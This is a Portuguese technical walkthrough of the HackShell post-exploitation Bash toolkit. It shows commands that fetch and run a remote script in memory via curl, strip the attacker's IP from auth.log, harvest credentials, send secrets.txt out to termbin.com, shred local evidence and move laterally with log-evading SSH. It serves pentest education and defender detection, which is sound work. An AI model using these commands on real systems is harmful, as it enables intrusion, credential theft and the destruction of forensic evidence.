NT-2026.10.06 DOSSIÊ

HACKSHELL: BASH FURTIVO PARA PENTEST — EVASÃO E ENUMERAÇÃO EM MEMÓRIA

Walkthrough técnico do HackShell: Bash furtivo para pentest que roda em memória — evasão forense com xhome/xlog/xtmux, enumeração com ws/lpe/hgrep/scan/loot, movimento lateral via xssh/xscp e exfiltração controlada com tb/shred.

Capa editorial HackShell: Bash furtivo para pentest — evasão, enumeração, movimento lateral

Introdução: Bash como Ferramenta de Pentest Furtiva

A grande maioria da infraestrutura da internet roda Linux — servidores, ISPs, câmeras, roteadores, caixas eletrônicos, sistemas de controle industrial. Quando um atacante compromete um dispositivo Linux, ele inevitavelmente se depara com o Bash. O Bash já é poderoso por si só para administradores e hackers, mas o HackShell leva isso a outro nível: transforma o Bash em um ambiente furtivo projetado especificamente para pentest.

Desenvolvido pela The Hacker’s Choice (THC) e ativamente mantido, o HackShell carrega inteiramente em memória sem escrever a si mesmo em disco. Isso reduz drasticamente os artefatos forenses deixados no sistema alvo. Neste artigo, documentamos o walkthrough técnico publicado na fonte principal, cobrindo instalação, evasão forense, enumeração, escalação de privilégio, movimento lateral e exfiltração controlada.

Configuração: Carregando HackShell em Memória

Uma vez obtido um shell no alvo, o HackShell é carregado diretamente na memória via source com curl. Duas formas principais:

bash$ > source <(curl -SsfL https://thc.org/hs)
# ou
eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

Análise dos parâmetros:

  • -S: mostra erros (show errors)
  • -s: modo silencioso (silent)
  • -f: falha silenciosamente em erros HTTP (fail silently)
  • -L: segue redirecionamentos (location)

O source <(...) executa o script baixado no shell atual, carregando as funções e aliases do HackShell. Ao carregar, ele realiza uma enumeração leve para identificar detalhes da máquina — no exemplo da fonte, detectou gs-netcat rodando como persistência.

Ambientes sem internet (air-gapped):

Se o host comprometido não tem acesso à internet, o conteúdo do HackShell pode ser copiado manualmente para /dev/shm (tmpfs, apenas memória). Para contornar problemas de compatibilidade em máquinas antigas:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'
bash$ > source <(curl -SsfL https://thc.org/hs)

O exec bash substitui o shell atual pelo novo Bash com HackShell carregado, mantendo o processo vivo.

Carregamento do HackShell via source curl mostrando enumeração inicial e gs-netcat detectado
Figura 1. Carregamento do HackShell em memória: source <(curl -SsfL https://thc.org/hs) com enumeração leve detectando gs-netcat como persistência.

Capacidades: Menu de Ajuda (xhelp)

O comando xhelp lista todos os comandos built-in do HackShell. A filosofia central é stealth — a maioria dos comandos reduz a quantidade de evidências forenses deixadas para trás. Os comandos se organizam em categorias:

  • Evasão: xhome, xlog, xtmux
  • Enumeração e Privesc: ws, lpe, hgrep, scan, loot, lootmore
  • Movimento Lateral e Exfiltração: tb, shred, xssh, xscp

Cada comando será detalhado nas seções seguintes com sua sintaxe, finalidade e resultado demonstrado na fonte.

Menu de ajuda xhelp do HackShell listando comandos built-in para evasão e enumeração
Figura 2. Menu xhelp exibindo comandos built-in do HackShell: evasão (xhome, xlog, xtmux), enumeração (ws, lpe, hgrep, scan, loot), movimento lateral (xssh, xscp) e exfiltração (tb, shred).

Evasão: xhome — Home Directory Temporário em Memória

O comando xhome define temporariamente o diretório home do usuário para um caminho aleatório sob /dev/shm (tmpfs — sistema de arquivos em memória).

bash$ > xhome

Comportamento:

  • Afeta apenas a sessão atual do HackShell
  • Não modifica o ambiente para outros usuários
  • Arquivos em /dev/shm ficam apenas na RAM e não persistem após reboot
  • Útil para armazenar ferramentas, scripts, logs ou dados sensíveis sem tocar o disco

Essa técnica evita deixar rastros no filesystem persistente (/home/user/, /root/), dificultando análise forense posterior.

Execução do comando xhome definindo home directory temporário em /dev/shm
Figura 3. Comando xhome define HOME para caminho aleatório em /dev/shm (tmpfs) — arquivos ficam apenas em memória, não persistem após reboot.

Evasão: xlog — Limpeza Seletiva de Logs de Autenticação

Quando hackers conectam via SSH, eventos de login aparecem em /var/log/auth.log e outros logs. O xlog remove esses eventos seletivamente por IP de origem:

bash$ > xlog '1.2.3.4' /var/log/auth.log

Parâmetros:

  • '1.2.3.4': IP de origem a ser removido dos logs (entre aspas)
  • /var/log/auth.log: arquivo de log alvo (padrão do sistema para autenticação SSH)

Isso permite apagar apenas as próprias conexões, mantendo logs de outros usuários — menos suspeito que apagar o arquivo inteiro. A fonte não incluiu screenshot técnico para este comando.

Evasão: xtmux — Sessão Tmux Invisível para Persistência

O tmux é usado por administradores para tarefas de longa duração, mantendo sessões vivas após desconexão. Em casos forenses, observou-se hackers usando dd dentro de sessões tmux para apagar armazenamento continuamente — mesmo se a rede cair, o wiping continua.

O HackShell fornece:

bash$ > xtmux

Este comando lança uma sessão tmux invisível. Diferente de uma sessão tmux normal, ela não aparece em tmux list-sessions para outros usuários, reduzindo a chance de detecção por administradores ou ferramentas de monitoramento. A fonte não incluiu screenshot técnico para este comando.

Enumeração: ws — Visão Detalhada do Ambiente (WhatServer)

O comando ws (WhatServer) fornece uma visão abrangente do ambiente, essencial para reconhecimento pós-exploração:

bash$ > ws

Informações exibidas:

  • Storage (discos, partições, uso)
  • Processos ativos
  • Usuários logados
  • Sockets abertos
  • Portas listening
  • E mais detalhes do sistema

Um único comando substitui múltiplas ferramentas tradicionais (df, ps, who, ss, netstat), economizando tempo e reduzindo comandos executados (menos ruído em logs de auditoria).

Saída do comando ws (WhatServer) mostrando storage, processos, usuários, sockets e portas
Figura 4. Comando ws (WhatServer) exibe visão completa do ambiente: storage, processos ativos, usuários logados, sockets abertos e portas listening.

Enumeração e Privesc: lpe — LinPEAS em Memória

O LinPEAS (Linux Privilege Escalation Awesome Script) é amplamente usado por pentesters para auditoria de escalação de privilégio. É frequentemente atualizado e cobre centenas de vetores.

O HackShell executa o LinPEAS diretamente em memória:

bash$ > lpe

Vantagens:

  • Sem download de arquivo para disco
  • Sem artefato de script salvo
  • Execução transparente na sessão atual
  • Funciona sob qualquer conta de usuário (não requer root)

No exemplo da fonte, o sistema já tinha root, por isso a saída foi extensa. Em cenários reais, o lpe sob usuário comum ainda identifica vetores viáveis (SUID, sudo misconfig, capabilities, cron jobs, etc.).

Execução do LinPEAS via lpe rodando diretamente em memória
Figura 5. Comando lpe executa LinPEAS em memória para auditoria de escalação de privilégio — saída inicial da varredura.
Resultados do LinPEAS mostrando vetores de escalação de privilégio identificados
Figura 6. Resultados do LinPEAS (lpe) exibindo caminhos de escalação de privilégio detectados — saída rica pois o sistema já tinha root.

Enumeração: hgrep — Busca Rápida de Credenciais

Credenciais frequentemente ficam espalhadas em arquivos de configuração, scripts, variáveis de ambiente. O hgrep busca palavras-chave sensíveis:

bash$ > hgrep pass

Funcionamento:

  • Varre arquivos conhecidos e configs por palavras-chave (pass, pwd, secret, key, token, api)
  • Mais rápido e direcionado que grep -r manual
  • Resultados mostram arquivo e linha onde a palavra-chave foi encontrada

Acelera significativamente a fase de coleta de credenciais pós-exploração.

Busca por credenciais com hgrep pass encontrando arquivos com palavras-chave sensíveis
Figura 7. Comando hgrep pass localiza arquivos contendo credenciais ou palavras-chave sensíveis em configs e locais conhecidos.

Enumeração: scan — Varredura de Portas com Saída Greppable

Para movimento lateral, é necessário descobrir hosts e portas abertas na rede interna. O scan do HackShell facilita isso:

bash$ > scan PORT IP

Características:

  • Saída greppable (formato parseável por grep/awk)
  • Permite varrer ranges de IPs e portas específicas
  • Integra-se ao fluxo do HackShell sem ferramentas externas (nmap, masscan)
  • Reduz dependência de binários adicionais no alvo

Útil para mapear rapidamente a superfície de ataque interna a partir do host comprometido.

Varredura de porta com scan PORT IP mostrando saída greppable
Figura 8. Comando scan executa varredura de porta com saída formatada para grep — facilita encontrar portas abertas na infraestrutura.

Enumeração: loot e lootmore — Coleta Automatizada de Credenciais

O comando loot é uma das funcionalidades mais práticas: vasculha automaticamente configs e locais conhecidos em busca de credenciais armazenadas ou dados sensíveis.

bash$ > loot

Se os resultados forem incompletos, existe lootmore para busca mais profunda:

bash$ > lootmore

Limitações: não encontra tudo. Para casos mais complexos, a fonte recomenda o CredsHound (ferramenta separada para roubo de credenciais via LOLCreds). O loot cobre os casos mais comuns: navegadores, SSH keys, configs de banco, AWS credentials, etc.

Execução do loot buscando credenciais armazenadas em configs e locais conhecidos
Figura 9. Comando loot vasculha configs e locais conhecidos em busca de credenciais armazenadas — se resultados incompletos, usar lootmore ou CredsHound.

Exfiltração Controlada: tb — Upload para termbin.com

O comando tb envia arquivos para o termbin.com (serviço de pastebin via netcat):

bash$ > tb secrets.txt

⚠️ Cuidado crítico: arquivos enviados tornam-se publicamente acessíveis. Em um pentest real, isso deve ser coordenado com o cliente e usado apenas quando estritamente necessário para testar a infraestrutura. Mau manuseio pode expor dados sensíveis na internet, violando o acordo de engajamento.

Após a exfiltração, sempre elimine a cópia local de forma segura.

Upload de arquivo secrets.txt para termbin.com via comando tb
Figura 10. Comando tb envia secrets.txt para termbin.com — arquivo torna-se publicamente acessível; usar com extrema cautela e apenas quando autorizado.

Exfiltração: shred — Eliminação Segura de Arquivos Locais

Após extrair dados via tb, o arquivo local deve ser destruído de forma irrecuperável:

bash$ > shred secrets.txt

O shred sobrescreve o arquivo múltiplas vezes (padrão: 3 passagens) antes de removê-lo, impedindo recuperação forense via ferramentas de carving de disco. É prática obrigatória de OPSEC pós-exfiltração.

Eliminação segura do arquivo local secrets.txt com shred após exfiltração
Figura 11. Comando shred sobrescreve secrets.txt de forma segura após exfiltração — impede recuperação forense do arquivo local.

Movimento Lateral: xssh e xscp — SSH/SCP Furtivos

SSH e SCP padrão geram logs de nova sessão (/var/log/auth.log, sshd logs) que podem disparar alertas automáticos de resposta a incidentes. O HackShell fornece alternativas que minimizam exposição:

Conexão a outro host (xssh):

bash$ > xshh root@IP

Upload de arquivo para /tmp remoto (xscp):

bash$ > xscp file root@IP:/tmp

Download de arquivo do remoto para /tmp local:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Diferenças chave vs SSH/SCP padrão:

  • Não registram nova sessão de forma padrão nos logs de auditoria
  • Usam canais existentes ou métodos alternativos de execução remota
  • Destino /tmp no alvo (tmpfs, volátil) evita persistência em disco
  • A fonte não incluiu screenshots técnicos para estes comandos

Considerações Finais: OPSEC, Detecção e Limitações

O HackShell demonstra como um ambiente Bash pode ser tornado significativamente mais furtivo para operações de pentest:

Vantagens operacionais:

  • Zero disco: carrega em memória (/dev/shm, source/curl), sem binário persistente
  • Evasão forense: xhome (HOME em RAM), xlog (limpeza seletiva de auth.log), xtmux (sessão invisível)
  • Enumeração integrada: ws, lpe, hgrep, scan, loot — tudo built-in
  • Movimento lateral silencioso: xssh/xscp evitam logs de nova sessão SSH
  • Exfiltração controlada: tb + shred para extração e limpeza

Limitações e detecção:

  • Requer shell inicial no alvo (não é vetor de exploração inicial)
  • curl/wget para carregamento pode ser detectado por EDR/network monitoring
  • Conexão a thc.org ou github.com é IOC de rede
  • /dev/shm pode ser monitorado (tmpfs não é invisível)
  • xlog modifica arquivos de log — detectável por integridade de arquivos (AIDE, Tripwire)
  • xtmux ainda cria processo tmux — visível em ps/lsof
  • tb expõe dados publicamente — nunca usar em produção real sem autorização escrita
  • shred em SSD pode não ser eficaz (wear leveling); shred -n 1 + rm é mais realista

Para defensores: estudar como o HackShell carrega (curl + source), os domínios que contacta (thc.org, github.com/hackerschoice), e os comandos built-in permite criar IOCs de rede e host (YARA, Sigma, EDR rules) para detectar seu uso.

Ética: uso restrito a laboratório autorizado, CTF, pentest contratado com escopo definido, ou pesquisa defensiva. Exfiltração via tb só com autorização explícita do cliente.